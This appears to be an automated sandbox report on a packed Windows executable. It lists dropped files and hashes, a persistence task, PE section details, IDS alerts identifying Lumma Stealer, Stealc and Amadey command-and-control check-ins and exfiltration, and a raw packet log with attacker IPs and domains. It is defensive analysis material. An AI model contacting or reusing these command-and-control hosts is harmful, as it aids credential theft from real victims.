SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0429414119865847
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	065126257A10997E9245D4448C949491
SHA1:	AC1A63CEC8564CB3C2634728694094BA94FCEEBD
SHA-256:	F885A0066424B230DCD7BB5FF805D200E14C3F98D61A62C07688027CFA05B45B
SHA-512:	D46E8920865F26EDB16F07B8B7DAE03E3C4699E2872DECB0C694BC01C46F8357FB58B5BA44B86D2937218244EC83ADF040DCD41E41414A9E27397E87CD82CA23
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.446225435861987
Encrypted:	false
SSDEEP:	6:BVZxlbXUhXUEZ+lX1CGdKUe6tE9+AQy0lMzt0:B/4Q1CGAFD9+nVst0
MD5:	8F1073CB1D5AF7DD6DA2D44317E5905D
SHA1:	02CFA8B1F7760F08D66A3E6CEBACC245E9B43080
SHA-256:	E33DC3DCAC4DC77C0E160FCE0E014FC7D1E0E2A2582F62135CB729D3BF07D914
SHA-512:	7A8362BC554F0DFD9FBA50BB12300AA9BC279043881ED49B85000DAD755424A2FFD3E463F34D3EEE175071635F2B92C136671FC45BB30269D7E9DD37C87762F4
Malicious:	false
Preview:	..........H..U!..c.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.529003662460378
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'888'192 bytes
MD5:	7b4cc8ac4ac8827894a00407b15007c3
SHA1:	0b9182457171726509f5ddb2b577cec7f7cdfb08
SHA256:	ef71225b333b75e7768c7f252c9fe4910e3bac8221c157a2688baad2a564485d
SHA512:	78511ae8e60446a1bba52509d9349fec2bc36f4602813d8991bb26a411ba187051da8dd4e0cb3982156c1c357d7a43ba5ee0f17f052087d955a8892341d82d71
SSDEEP:	49152:nnyjOjRFkGq6DS6isHTrcwkUu/0zeXXc2:nyjONFkV6u3Ygwo0qXc2
TLSH:	22D55C51F44672CFD89F23B45467CE867E6D0BB98B2048C3986DA4BA7E73CC215B5C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................../...........@.........................../.....@.,...@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDE34EF699Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	6d7d4e3b15dd8973076f740c1fa64b0d	False	0.9991426877062707	data	7.9616305846407265	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
otopmwwu	0x60000	0x298000	0x297a00	4480c2d994bdc56a124b0d2393708053	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nwnnypis	0x2f8000	0x1000	0x600	dedfb3af387bb9cab431dfd72fbad2e0	False	0.578125	data	4.990339504119474	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f9000	0x3000	0x2200	056b71961027ebbbbdd0b41a07caeaad	False	0.06284466911764706	DOS executable (COM)	0.7424618129132824	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T11:02:13.971838+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	53329	1.1.1.1	53	UDP
2024-10-24T11:02:13.989990+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	60409	1.1.1.1	53	UDP
2024-10-24T11:02:14.002548+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	57146	1.1.1.1	53	UDP
2024-10-24T11:02:14.014431+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	62813	1.1.1.1	53	UDP
2024-10-24T11:02:14.024776+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	54324	1.1.1.1	53	UDP
2024-10-24T11:02:14.037253+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	53798	1.1.1.1	53	UDP
2024-10-24T11:02:14.049535+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	49807	1.1.1.1	53	UDP
2024-10-24T11:02:14.061863+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	64425	1.1.1.1	53	UDP
2024-10-24T11:02:15.644344+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49710	104.102.49.254	443	TCP
2024-10-24T11:02:16.811026+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49712	104.21.53.8	443	TCP
2024-10-24T11:02:16.811026+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49712	104.21.53.8	443	TCP
2024-10-24T11:02:17.863422+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T11:02:17.863422+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T11:02:20.832437+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49716	104.21.53.8	443	TCP
2024-10-24T11:02:27.723307+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49750	104.21.53.8	443	TCP
2024-10-24T11:02:36.112228+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49756	185.215.113.16	80	TCP
2024-10-24T11:02:42.594516+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49831	185.215.113.37	80	TCP
2024-10-24T11:02:42.729196+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49832	185.215.113.43	80	TCP
2024-10-24T11:02:46.184808+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49854	185.215.113.16	80	TCP
2024-10-24T11:02:49.552881+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	54074	1.1.1.1	53	UDP
2024-10-24T11:02:49.565799+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	59107	1.1.1.1	53	UDP
2024-10-24T11:02:49.586490+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	49197	1.1.1.1	53	UDP
2024-10-24T11:02:49.599372+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	50123	1.1.1.1	53	UDP
2024-10-24T11:02:49.612723+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	51183	1.1.1.1	53	UDP
2024-10-24T11:02:49.626702+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	53060	1.1.1.1	53	UDP
2024-10-24T11:02:49.637727+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	51844	1.1.1.1	53	UDP
2024-10-24T11:02:49.657579+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	57813	1.1.1.1	53	UDP
2024-10-24T11:02:50.430731+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49848	TCP
2024-10-24T11:02:51.187341+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49877	104.102.49.254	443	TCP
2024-10-24T11:02:51.345243+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49881	185.215.113.43	80	TCP
2024-10-24T11:02:52.257460+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49887	185.215.113.16	80	TCP
2024-10-24T11:02:57.364152+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49913	185.215.113.43	80	TCP
2024-10-24T11:02:57.703869+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49918	185.215.113.37	80	TCP
2024-10-24T11:02:58.285552+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49920	185.215.113.16	80	TCP
2024-10-24T11:03:03.379727+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	52184	1.1.1.1	53	UDP
2024-10-24T11:03:03.404726+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	50298	1.1.1.1	53	UDP
2024-10-24T11:03:03.427566+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	61858	1.1.1.1	53	UDP
2024-10-24T11:03:03.442371+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	63687	1.1.1.1	53	UDP
2024-10-24T11:03:03.456658+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	63430	1.1.1.1	53	UDP
2024-10-24T11:03:03.470076+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	55166	1.1.1.1	53	UDP
2024-10-24T11:03:03.483458+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	65174	1.1.1.1	53	UDP
2024-10-24T11:03:03.495697+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	57811	1.1.1.1	53	UDP
2024-10-24T11:03:05.008320+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49957	185.215.113.43	80	TCP
2024-10-24T11:03:05.164099+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49951	104.102.49.254	443	TCP
2024-10-24T11:03:05.927617+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49963	185.215.113.16	80	TCP
2024-10-24T11:03:05.927617+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49963	185.215.113.16	80	TCP
2024-10-24T11:03:10.110653+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49985	185.215.113.37	80	TCP
2024-10-24T11:03:11.161521+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49993	185.215.113.43	80	TCP
2024-10-24T11:03:17.265879+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50022	185.215.113.37	80	TCP
2024-10-24T11:03:28.163525+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50034	185.215.113.37	80	TCP
2024-10-24T11:03:38.439708+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	51597	1.1.1.1	53	UDP
2024-10-24T11:03:38.452951+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	52409	1.1.1.1	53	UDP
2024-10-24T11:03:38.464313+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	58626	1.1.1.1	53	UDP
2024-10-24T11:03:38.476265+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	59078	1.1.1.1	53	UDP
2024-10-24T11:03:38.504725+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	62512	1.1.1.1	53	UDP
2024-10-24T11:03:38.518170+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	59941	1.1.1.1	53	UDP
2024-10-24T11:03:38.531253+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	58956	1.1.1.1	53	UDP
2024-10-24T11:03:38.546217+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	61861	1.1.1.1	53	UDP
2024-10-24T11:03:40.037995+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50057	104.102.49.254	443	TCP
2024-10-24T11:03:50.376172+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50066	185.215.113.37	80	TCP
2024-10-24T11:04:02.239219+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50072	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 11:02:14.089804888 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:14.089854956 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:14.089937925 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:14.093818903 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:14.093836069 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:14.971946001 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:14.972059011 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:14.975552082 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:14.975562096 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:14.975966930 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.027637959 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.041800022 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.083379984 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.644373894 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.644402027 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.644412041 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.644433975 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.644449949 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.644521952 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.644521952 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.644547939 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.644666910 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.763062954 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.763093948 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.763303041 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.763341904 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.763454914 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.764082909 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.764172077 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.764189005 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.764211893 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.764250994 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.764291048 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.765310049 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:15.765336990 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:15.792478085 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:15.792537928 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:15.792673111 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:15.793019056 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:15.793055058 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.410464048 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.410655022 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.414778948 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.414800882 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.415858984 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.417622089 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.417678118 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.417828083 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.810934067 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.810975075 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.811002016 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.811023951 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.811032057 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.811043978 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.811068058 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.811094999 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.811131001 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.811584949 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.811605930 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.811626911 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.811635017 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.914854050 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.914908886 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:16.914978981 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.917653084 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:16.917673111 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.530422926 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.530610085 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.532033920 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.532064915 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.532325983 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.533715010 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.533756971 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.533813000 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.863512993 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.863651037 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.863713026 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.863732100 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.863760948 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.863806009 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.863851070 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.864003897 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.864052057 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.864069939 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.864409924 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.864458084 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.864469051 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.865068913 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.865123987 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.865133047 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.918253899 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.979914904 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.980165005 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.980258942 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.980341911 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.980353117 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.980433941 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.980477095 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.980597019 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.980660915 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.984030008 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.984071970 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:17.984102011 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:17.984117031 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:18.159620047 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:18.159724951 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:18.159823895 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:18.160204887 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:18.160243034 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:18.780967951 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:18.781246901 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:18.783026934 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:18.783051968 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:18.784089088 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:18.785839081 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:18.786046982 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:18.786104918 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:19.327219009 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:19.327377081 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:19.327646971 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:19.327903032 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:19.327946901 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:19.676490068 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:19.676536083 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:19.676616907 CEST	49716	443	192.168.2.6	104.21.53.8
